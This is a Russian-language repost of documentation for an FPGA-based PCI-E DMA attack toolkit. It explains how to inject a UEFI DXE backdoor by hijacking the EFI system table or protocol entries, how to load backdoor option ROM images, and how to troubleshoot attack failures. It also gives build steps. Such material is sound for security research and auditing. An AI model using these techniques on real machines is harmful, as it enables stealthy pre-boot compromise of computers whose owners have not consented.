Winload.c(508) : winload!HvlpBelow1MbPageAllocated is at 0xa037b9
Winload.c(587) : winload!OslArchTransferToKernel() is at 0x9c4b20

Чтобы получить больше информации о сценариях использования и возможностях Boot Backdoor, ознакомьтесь с его README-файлом, где приведены подробные сведения.

Программы на Python uefi_backdoor_simple.py, uefi_backdoor_hv.py, uefi_backdoor_boot.py и uefi_backdoor_boot_shell.py поддерживают два различных способа передачи управления внедрённому образу UEFI DXE-драйвера:

  • EFI_SYSTEM_TABLE hijack − сканирование системной памяти вниз от физического адреса 0xf0000000 до 0 с шагом 0x10000 байт для поиска таблицы EFI system table по её сигнатуре и патча адреса функции LocateProtocol(). Чтобы переопределить параметры сканирования памяти, вы можете использовать переменные окружения SCAN_FROM и SCAN_STEP.

  • PROTOCOL_ENTRY hijack − сканирование системной памяти вверх от физического адреса 0x76000000 до 0xa0000000 с шагом 0x1000 байт для поиска структуры EFI_CPU_IO2_PROTOCOL протокола CPU I/O 2 и патча одной из его функций. Чтобы переопределить параметры сканирования памяти, вы можете использовать переменные окружения SCAN_FROM, SCAN_TO и SCAN_STEP.

По умолчанию все четыре программы используют метод перехвата EFI system table; чтобы вместо него использовать метод перехвата записи протокола, вы можете передать соответствующей программе параметр командной строки --inj-prot. Чтобы сократить время, необходимое для выполнения атаки, вы можете указать ранее найденный адрес структуры EFI_SYSTEM_TABLE с помощью параметра --system-table и адрес структуры PROTOCOL_ENTRY с помощью параметра --prot-entry. Кроме того, все четыре программы на Python имеют параметр командной строки --test; этот параметр используется для сканирования памяти и поиска адресов требуемых структур без фактического перехвата потока выполнения. Таким образом, во время первой загрузки вы можете запустить нужную программу с параметром --test, чтобы найти необходимый адрес, а во время второй загрузки — запустить ту же программу с параметром --system-table или --prot-entry, чтобы указать этот адрес.

При разработке вредоносного кода для DMA-атак на этапе до загрузки ОС важно иметь информацию об окружении выполнения фазы UEFI DXE. Чтобы собрать такую информацию, вы можете включить целевой компьютер, войти в меню настройки BIOS или меню параметров загрузки, чтобы приостановить загрузку операционной системы, и запустить программу uefi.py без аргументов. Эта программа просканирует физическую память целевого компьютера и выведет различные сведения о существующих протоколах и интерфейсах UEFI DXE, загруженных UEFI-драйверах, дескрипторных таблицах UEFI и таблицах ACPI. Здесь вы можете посмотреть пример информации, полученной программой uefi.py при использовании мини-ПК AAEON UP Squared в качестве цели атаки.

Option ROM атаки

Предоставленный битстрим может эмулировать PCI-E option ROM, хранящийся во встроенной линейной флэш-памяти платы SP605. Хотя современные платформы смягчают атаки через option ROM, эта функция всё ещё может быть полезна для аудита безопасности или создания прототипов.

Управлять образами option ROM можно с помощью программы на Python pcie_rom_ctl.py.
Стирание содержимого option ROM:``` $ ./pcie_rom_ctl.py --erase [+] Opening PCI-E device... [+] Enabling resident mode... [+] Erasing option ROM... [+] Done

root@kitploit:~
Загрузка предоставленного примера UEFI option ROM в плату:```
$ ./pcie_rom_ctl.py --load payloads/DmaBackdoorSimple/DmaBackdoorSimple_X64_10ee_1337.rom
[+] Opening PCI-E device...
[+] Enabling resident mode...
[+] Erasing option ROM...
[+] Loading 5120 bytes of option ROM...
[+] Done

Кроме того, есть возможность записывать доступ к памяти option ROM в отладочный UART платы SP605; чтобы включить или отключить эту опцию, используйте параметры --log-on и --log-off программы ./pcie_rom_ctl.py.

Чтобы проверить корректность работы поддержки option ROM в Linux, можно сделать следующее.
Сначала найдите адрес bus-device-function PCI-E устройства SP605:```

lspci | grep Xilinx

01:00.0 Ethernet controller: Xilinx Corporation Device 1337

root@kitploit:~
Затем установите бит разрешения в регистре команд, чтобы целевая система передавала PCI-E устройству все попытки доступа к памяти к физическим диапазонам памяти option ROM:```
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/enable
# echo 1 > /sys/bus/pci/devices/0000\:01\:00.0/rom

Теперь вы можете сбросить содержимое ранее загруженной option ROM с помощью команды dd и соответствующего псевдо-файла sysfs:```

dd if=/sys/bus/pci/devices/0000:01:00.0/rom | hexdump -Cv

00000000 55 aa 0b 00 f1 0e 00 00 0b 00 64 86 00 00 00 00 |U.........d.....| 00000010 00 00 00 00 00 00 60 00 1c 00 00 00 50 43 49 52 |......`.....PCIR| 00000020 ee 10 37 13 00 00 1c 00 03 00 00 00 0b 00 00 00 |..7.............| 00000030 03 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff |................| 00000040 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000050 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 00000060 4d 5a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |MZ..............| 00000070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000080 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000090 00 00 00 00 00 00 00 00 00 00 00 00 b8 00 00 00 |................| 000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|

...

root@kitploit:~
В случае, если при настройке был указан параметр `--log-on` программы `pcie_rom_ctl.py`, во время дампа опционального ПЗУ вы увидите следующие сообщения в отладочной UART-консоли платы SP605:```
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x0
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C
ROM read: size = 1, offset = 0x1
ROM read: size = 2, offset = 0x0
ROM read: size = 2, offset = 0x18
ROM read: size = 4, offset = 0x1C
ROM read: size = 1, offset = 0x31
ROM read: size = 2, offset = 0x2C

...

Устранение неполадок

PCI Express — это очень сложная высокоскоростная шина, поэтому многое может пойти не так. В случае, если DMA-атака не работает в вашей конфигурации, вы можете проверить следующее, чтобы определить точную проблему:

  • Светодиод DS3 горит, когда физический линк PCI-E поднят, а DS4 горит, когда корневой комплекс назначил нашему PCI-E endpoint адрес bus-device-function. Если DS3 не горит, это, скорее всего, означает проблему с физическим подключением − проверьте райзеры, кабели и т.д. Если DS3 горит, а DS4 не горит, это значит, что вам необходимо перезагрузить цель атаки или принудительно выполнить повторное сканирование PCI-E устройств на её стороне.

  • Светодиод DS5 горит во время сброса шины PCI-E; если он горит постоянно, это указывает на проблему с физическим подключением.

  • Если корневой комплекс отправляет Cpl TLP вместо CplD TLP в ответ на запрос чтения памяти, это означает, что доступ к памяти был отклонён из-за недопустимого адреса или проверок доступа, наложенных IOMMU. Кроме того, типичная x86-машина может вообще не отвечать на запросы чтения памяти к определённым MMIO-областям физического адресного пространства.

  • Если программное обеспечение получает несогласованные или недопустимые TLP от корневого комплекса в ответ на запросы чтения памяти, можно попробовать установить меньшее значение константы MEM_RD_TLP_LEN в pcie_lib.py, чтобы разбить данные ответа на более мелкие части. Также полезно запустить программу с переменной окружения DEBUG_TLP=1 и проверить дамп сырых TX/RX TLP.

Сборка проекта из исходного кода

  1. Установите Xilinx ISE 13.4, который поставляется с вашей платой SP605, и откройте файл проекта s6_pcie_microblaze.xise.

  2. Перегенерируйте ядра s6_pcie_v2_4 и fifo_generator_v8_4, которые присутствуют в иерархии проекта.

  3. Нажмите на экземпляр microblaze_i в иерархии проекта и выполните "Export Hardware Design to SDK With Bitstream".

  4. Когда сборка будет завершена, ISE откроет Xilinx Software Development Kit IDE; используйте папку sdk в качестве рабочей области.

  5. Создайте новый standalone board support package в дереве проекта Xilinx SDK, выберите библиотеки lwIP и xilflash в конфигурации BSP.

  6. Импортируйте проекты sdk/srec_bootloader_0 и sdk/main_0 в дерево проекта и запустите сборку.

  7. Выполните make bitstream && make srec из командной строки Xilinx ISE, чтобы сгенерировать необходимые выходные файлы.

Разработано

Dmytro Oleksiuk (aka Cr4sh)

[email protected]
http://blog.cr4.sh
@d_olex

Скачать инструмент